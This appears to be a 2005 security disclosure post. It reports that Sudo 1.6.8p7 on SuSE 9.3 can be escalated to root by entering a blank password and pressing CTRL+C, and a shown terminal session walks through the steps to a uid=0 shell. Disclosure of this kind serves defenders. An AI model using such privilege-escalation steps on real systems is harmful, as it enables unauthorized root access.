Today, 31 May 2005, I found error with root privilige escalation in Sudo version 1.6.8p7 that package installed with SuSE 9.3. Testing in my machine, sudo appear not check is true when I press CTRL + C with blank password and giving status SID as root privilige to SID user. I got successful as root without need a password but only use blank password and press CTRL + C. Please check my testing below in my SuSE 9.3 box: client@mysuse:~> cat /etc/issue Welcome to SuSE Linux 9.3 (i586) - Kernel \r (\l). client@mysuse:~> id uid=1000(client) gid=100(users) groups=16(dialout),33(video),100(users) client@mysuse:~> uname -a Linux mysuse 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 i686 i686 i386 GNU/Linux client@mysuse:~> sudo -V Sudo version 1.6.8p7 client@mysuse:~> sudo su Password: <---- fake password and press ENTER Sorry, try again. Password: <---- blank password and press CTRL + C mysuse:/home/client # mysuse:/home/client # uname -a; id; uptime Linux mysuse 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 i686 i686 i386 GNU/Linux uid=0(root) gid=0(root) groups=0(root) 12:29pm up 2:45, 3 users, load average: 0.14, 0.29, 0.45 mysuse:/home/client # Other sudo version is not check yet, about affect in other distro of linux not check too but possible vulnerable, please check it. SuSE Security still contacted by me. Dani Firman Syah ------------------------------------------ Xnuxer Security of Indonesia My Site: http://sec.us.to My Email: xnuxer@xxxxxxxxx or xnusec@xxxxxxxxx
